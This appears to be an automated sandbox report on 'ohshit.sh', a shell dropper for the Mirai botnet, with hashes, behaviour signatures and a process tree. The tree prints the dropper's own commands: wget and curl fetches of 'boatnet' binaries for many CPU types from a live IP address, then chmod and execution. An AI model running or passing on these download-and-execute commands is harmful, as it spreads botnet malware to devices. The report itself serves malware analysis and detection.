Analysis
-
max time kernel
149s -
max time network
137s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
09-11-2024 04:10
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
25c6ba0856c61dd5b61a23fb72afbd85
-
SHA1
02bd8205bff824d323b72ccc0342c46a410f3d74
-
SHA256
5b35f387f69bcb231b7e339c9ddeb610fd73ebf848f8cefdcfb26a2faabc5c6f
-
SHA512
f1979d3997551d5cdc3a0aead3792509f2f5cb275ab303bfbb2d3d1e415dd6f882be425e352a73dd8ea27298a09001b7a14c323c3e854298736e76c1449ae8aa
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodpid process 740 chmod 889 chmod 901 chmod 799 chmod 857 chmod 871 chmod 746 chmod 775 chmod 808 chmod 813 chmod 877 chmod 895 chmod 818 chmod 835 chmod 883 chmod -
Executes dropped EXE 15 IoCs
Processes:
WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFioc pid process /tmp/WTF 741 WTF /tmp/WTF 747 WTF /tmp/WTF 776 WTF /tmp/WTF 800 WTF /tmp/WTF 809 WTF /tmp/WTF 814 WTF /tmp/WTF 819 WTF /tmp/WTF 837 WTF /tmp/WTF 858 WTF /tmp/WTF 872 WTF /tmp/WTF 878 WTF /tmp/WTF 884 WTF /tmp/WTF 890 WTF /tmp/WTF 896 WTF /tmp/WTF 902 WTF -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
Processes:
WTFdescription ioc process File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF -
Writes file to system bin folder 2 IoCs
Processes:
WTFdescription ioc process File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF -
Processes:
resource yara_rule /tmp/boatnet.x86 upx /tmp/WTF upx -
Processes:
WTFcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurldescription ioc process File opened for reading /proc/786/cmdline WTF File opened for reading /proc/791/cmdline WTF File opened for reading /proc/875/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/435/cmdline WTF File opened for reading /proc/684/cmdline WTF File opened for reading /proc/710/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/681/cmdline WTF File opened for reading /proc/682/cmdline WTF File opened for reading /proc/712/cmdline WTF File opened for reading /proc/874/cmdline WTF File opened for reading /proc/887/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/669/cmdline WTF File opened for reading /proc/708/cmdline WTF File opened for reading /proc/709/cmdline WTF File opened for reading /proc/822/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/893/cmdline WTF File opened for reading /proc/898/cmdline WTF File opened for reading /proc/886/cmdline WTF File opened for reading /proc/858/cmdline WTF File opened for reading /proc/707/cmdline WTF File opened for reading /proc/899/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/852/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/859/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/676/cmdline WTF -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetwgetcurlcurlwgetcurlcurlwgetwgetwgetcurlcurlcurlohshit.shcurlcurlcurlcurlcurlwgetwgetcurlcurlwgetwgetcurlwgetwgetdescription ioc process File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm5 wget
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:710 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:717 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:731 -
/bin/catcat boatnet.x862⤵PID:739
-
/bin/chmodchmod +x boatnet.x86 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF2⤵
- File and Directory Permissions Modification
PID:740 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:741 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:743 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:744 -
/bin/catcat boatnet.mips2⤵
- System Network Configuration Discovery
PID:745 -
/bin/chmodchmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF2⤵
- File and Directory Permissions Modification
PID:746 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:747 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:749 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:760 -
/bin/catcat boatnet.arc2⤵PID:773
-
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF2⤵
- File and Directory Permissions Modification
PID:775 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:776 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.i4682⤵PID:779
-
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.i4682⤵
- Reads runtime system information
- Writes file to tmp directory
PID:788 -
/bin/catcat boatnet.i4682⤵PID:797
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF2⤵
- File and Directory Permissions Modification
PID:799 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:800 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.i6862⤵PID:803
-
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:806 -
/bin/catcat boatnet.i6862⤵PID:807
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF2⤵
- File and Directory Permissions Modification
PID:808 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:809 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.x86_642⤵PID:810
-
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:811 -
/bin/catcat boatnet.x86_642⤵PID:812
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF2⤵
- File and Directory Permissions Modification
PID:813 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:814 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:815 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:816 -
/bin/catcat boatnet.mpsl2⤵PID:817
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF2⤵
- File and Directory Permissions Modification
PID:818 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:819 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:823 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:824 -
/bin/catcat boatnet.arm2⤵PID:834
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF2⤵
- File and Directory Permissions Modification
PID:835 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:837 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:839 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:846 -
/bin/catcat boatnet.arm52⤵PID:856
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:857 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:858 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:861 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:869 -
/bin/catcat boatnet.arm62⤵PID:870
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:871 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:872 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:874 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:875 -
/bin/catcat boatnet.arm72⤵PID:876
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:877 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:878 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:880 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:881 -
/bin/catcat boatnet.ppc2⤵PID:882
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:883 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:884 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:886 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:887 -
/bin/catcat boatnet.spc2⤵PID:888
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:889 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:890 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:892 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:893 -
/bin/catcat boatnet.m68k2⤵PID:894
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:895 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:896 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:898 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:899 -
/bin/catcat boatnet.sh42⤵PID:900
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:901 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:902
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
23KB
MD5e3206d28c93769f5acb5e1e1d5b5f219
SHA1198b56e1df06819e1141c1d6e8f7ad7d1646194c
SHA256cdf3f41e3ad38f3081c882ac25d15d03b9e85b7b7021cbd32a6c504acd353aab
SHA512dad4a759472131bed86139904962c9ce218dbba129e866fabfb524392e2ef8e77f30087d80305eef0452b5f5e685a5d5103e2ee6518b6b9c103fb55b8cfd3503
-
Filesize
105KB
MD5d94c95baa8be09e30fcdc154241477c8
SHA1d0b682898bd94b01afb6ad2f4fb813197f6a0985
SHA2562bcc0d44bafdbdecf7e537c3cf0357ab7f6fa5e7a2820e950e4f33a2ae08c6c6
SHA5127cebf14f7ecfe09c18b161607284a58c771a305b36a4f069493ce813b1cee9bea639412e3fb7d1e492ce889b553ae2512c709b9a3dd2ca86f08b84a07c59e1b9
-
Filesize
220B
MD5f1c24d9fa40a047ae22d2d3ae7dfeac9
SHA1750274b02d5f5b00026a4f55b020f4285c693533
SHA256219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc
SHA51236bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259
-
Filesize
220B
MD5a8f502a6fb3b7b940e922c951d9e493a
SHA1fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf
SHA256748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec
SHA512e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338
-
Filesize
57KB
MD5fb08806a49f2c5aa8f8ea71c0ca40395
SHA1411ae81e99b9c3ec9d27514a7c18cb5c63189b22
SHA2562f7082951d3b09a10a5308258951b0d2efe7b1717e543e9d51e53e482d00479c
SHA51260c4b894a8b169553d63dc8ec09d51ab447dc8644fd382265580368e09bcd6681525c1ebba1a5b44531015b060a7f9ab831d6319e92366243f94e4e2225c74b3
-
Filesize
20KB
MD5895badd48eed0c0e0ba14e8d5967e7bb
SHA13c4c22665e6197841f7e68f941a4a27dca3d4d8d
SHA256e2a04bd1fb1e7ed211e3ee19b08337b6361d695278417d5a21ba602ca7eb99b4
SHA512dfc79a34d1694b7e4422fa4861bf475b3efe2398df684126e71293880f51f4bf39f396fb5c5e36a2c12944c7406e86cac09c3d3b8c432194aab976c8b7e94af7